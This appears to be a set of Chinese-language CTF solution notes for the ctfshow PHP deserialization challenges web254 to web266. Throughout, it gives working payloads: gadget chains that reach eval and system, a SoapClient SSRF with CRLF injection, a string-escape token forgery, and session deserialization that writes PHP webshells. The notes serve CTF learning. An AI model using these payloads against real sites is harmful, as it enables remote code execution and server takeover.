web254
代碼審計,輸入給的username和password?
?username=xxxxxx&password=xxxxxx
web255
這題要從cookie中獲取值并且需要把isVip
設為true,
并且將序列化之后的結果進行url編碼
<?php
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=true;//這里要改成truepublic function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$c = new ctfShowUser();
echo serialize($c);
echo "\n".urlencode(serialize($c));?>
ctfshow的web入門->反序列化_ctfshow java反序列化-CSDN博客
web256
這題要求$this->username!==$this->password, 讓username和password不相等
<?php
class ctfShowUser{public $username='xx';public $password='xxxxxx';public $isVip=true;
}
echo(urlencode(serialize(new ctfShowUser())));
?>
GET :?username=xx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A2%3A%22xx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257
?[NISACTF 2022]babyserialize(pop鏈構造與腳本編寫詳細教學)-CSDN博客
先看這篇文章,然后構造pop鏈
ctfshow 反序列化1_ctf&this-CSDN博客
大致瀏覽下代碼會發現我們可以利用的函數eval,要想調用eval就得使用backDoor類中的getinfo。
然后在ctfShowUser類的__destruct中發現了$this->class->getInfo();,那么我們只需要讓$this->class是backDoor類的實例化就可以了。
反序列化時,首先調用__destruct,接著調用$this->class->getInfo();也就是backDoor->getinfo(),最后觸發eval。
<?php
class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=true; //改為trueprivate $class = 'info';public function __construct(){$this->class=new backDoor(); // 初始化 $class 屬性為 backDoor 類的對象}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo(); // (2)backDoor}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code="system('tac flag.php');";public function getInfo(){eval($this->code); // (1)system}
}$c = new ctfShowUser();
echo urlencode(serialize($c));
?
ctfshow-web入門-反序列化(web254-web258)_ctfshow web258-CSDN博客
php反序列化 && 觸發的魔術方法&& 原理 &&pop鏈構造 && ctfshow 練習_php pop 魔術方法-CSDN博客
web258
比上一題多了正則過濾,user不能是 o:<數字>:
?或 c:<數字>:的形式
用 +數字 替代 數字
?ctfshow 反序列化1_global $flag;-CSDN博客
<?php
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=true; //改為truepublic $class = 'info';public function __construct(){$this->class=new backDoor(); // 初始化 $class 屬性為 backDoor 類的對象}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{public $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{public $code = "system('tac flag.php');";public function getInfo(){eval($this->code);}
}$a = serialize(new ctfShowUser());
$b = str_replace(':11', ':+11', $a);
$c = str_replace(':8', ':+8', $b);echo urlencode($c);?>
?
web259
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
<?php
$a = new SoapClient(null,array('user_agent' => "aaa\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",'uri' => 'aaa','location' => 'http://127.0.0.1/flag.php'));
echo urlencode(serialize($a));
我的運行有問題
ctfshow web入門 php反序列化 web254--web259_ctfshow web254-web258-CSDN博客
接著get
傳vip=xxx
就可以了,最后訪問/flag.tx
t?
web260
要求序列化后的字符串中包含ctfshow_i_love_36D
?
PHP 序列化字符串的格式為:
- 數組:
a:<元素數量>:{<鍵值對>}
- 字符串:
s:<長度>:<內容>
- 整數:
i:<值>
- 布爾值:
b:<0或1>
payload:直接傳入字符串
?ctfshow=ctfshow_i_love_36D
數組?
?ctfshow[]=ctfshow_i_love_36D
web261
同時存在?__unserialize() 和 __wakeup()函數時,在 php 7.4 以上版本反序列化時會忽略__wakeup() 函數,因此這里實際并不需要用戶名和密碼為空
開始找到eval函數,但沒有條件觸發?__invoke
所以關鍵就是file_put_contents,username和password拼接成的$this->code弱等于0x36d
所以只要username=877.php password=shell就可以了。
877.php==877是成立的(弱類型比較)
<?php
class ctfshowvip
{public $username;public $password;public $code;public function __construct($u, $p){$this->username = $u;$this->password = $p;}
}
$c = new ctfshowvip('877.php',"<?php system('tac /f*');?>");
echo serialize($c);
?vip=O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:26:"<?php system('tac /f*');?>";s:4:"code";N;}
先/?vip=序列化內容 ,然后訪問877.php?
ctfshow 反序列化1_$this->username===$u&&$this->password===$p-CSDN博客
ctfshow-web入門-反序列化(web260-web264)-CSDN博客
web262
沒有和flag相關的信息,訪問message.php?
要滿足 $msg->token=='admin'?
<?php
class message{public $token='admin';
}
$m = new message();
echo base64_encode(serialize($m));
?>
?
? 這是一個非預期解,然后我們看一下預期解,字符串逃逸
<?php
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}function filter($msg)
{return str_replace('fuck', 'loveU', $msg);
}//";s:5:"token";s:4:"admin";}有27個字符,
//將 fuck 替換為 loveU 會增加一個字符,所以也構造27個fuck
$msg = new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$msg_1 = serialize($msg);
$msg_2 = filter($msg_1);echo $msg_2;
?所以payload:?
?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
接著訪問message.php
ctfshow 反序列化1_$this->username===$u&&$this->password===$p-CSDN博客
ctfshow-web入門-反序列化(web260-web264)-CSDN博客
web263
PHP的session反序列化
目錄掃描
?發現www.zip文件,訪問打開
index.php寫入cookie
check.php調用cookie?
inc.php存在寫文件函數,將username寫為php文件名,password為一句話
因 inc/inc.php 存在 ini_set(‘session.serialize_handler’, ‘php’); 和 session_start(); ,只要訪問即會獲取之前寫入的 session 數據,然后 check.php 包含 inc/inc.php ,即會觸發 User類 的 __destruct方法 ,從而把惡意數據通過 file_put_contents 寫入名為 log-$this.username ,內容為 $this.password 的文件
<?php
class User{public $username = 'test.php';public $password = '<?php system("cat flag.php") ?>';
}
$user = new User();
echo(base64_encode('|'.serialize($user)));
?>
加 '|' 是因為 session.serialize_handler 使用 php引擎 ,session 關聯數組的 key 和 value 是通過 '|' 區分的, value 是需要被反序列化的部分。然后默認不是用 php 引擎,所以寫入是正常字符串,在 inc/inc.php 這讀取語義又不一樣了
首先修改cookie為生成的 base64 編碼序列化字符串,
然后后訪問index.php,接著訪問check.php,即可生成木馬文件,最后訪問?log-$this.username 即log-test.php
CTFSHOW 反序列化篇_ctf中server-CSDN博客
CTFshow刷題日記-WEB-反序列化篇(上,254-263)_ctfshow web257-CSDN博客
web264
訪問message.php
可以看到和web262不一樣了這里是session?
然后payload同262
?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
訪問message.php其實是沒拿到flag的,因為要求要提交一個cookie?,我們隨便傳一個cookie上去
就能得到flag
web265
<?php
class ctfshowAdmin{public $token;public $password;public function __construct($t,$p){$this->token=$t;$this->password = $p;}public function login(){return $this->token===$this->password;}
}$a = new ctfshowAdmin(1,2);
$a->token = &$a->password;
echo serialize($a);
&內存共享:$a->token
?和?$a->password
?指向同一塊內存空間。無論通過哪個屬性修改值,本質都是修改同一塊內存,因此兩者始終 “同步變化”。?
?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";i:2;s:8:"password";R:2;}
ctfshow-web入門-反序列化(web265-web270)_ctfshow web267-CSDN博客
web266
__destruct() 在對象被銷毀時會自動調用,我們只需要讓 ctfshow 類正確被反序列化即可,但是直接傳 ctfshow 會被檢測,之后就會拋出異常,如果程序報錯或者拋出異常就不會觸發?__destruct() 了?
當我們的序列化字符串中有ctfshow就會拋出異常,這樣就沒辦法調用__destrcut了
所以我們大小寫繞過,生成的字符串里面的ctfshow改成大寫的。
<?php
class ctfshow{public $username='xxxxxx';public $password='xxxxxx';public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function login(){return $this->username===$this->password;}public function __toString(){return $this->username;}
}$a = new ctfshow(1,2);
echo serialize($a);
?
序列化里的內容不重要
ctfshow-web入門-反序列化(web265-web270)_ctfshow web267-CSDN博客
ctfshow 反序列化2_ctf yii 漏洞-CSDN博客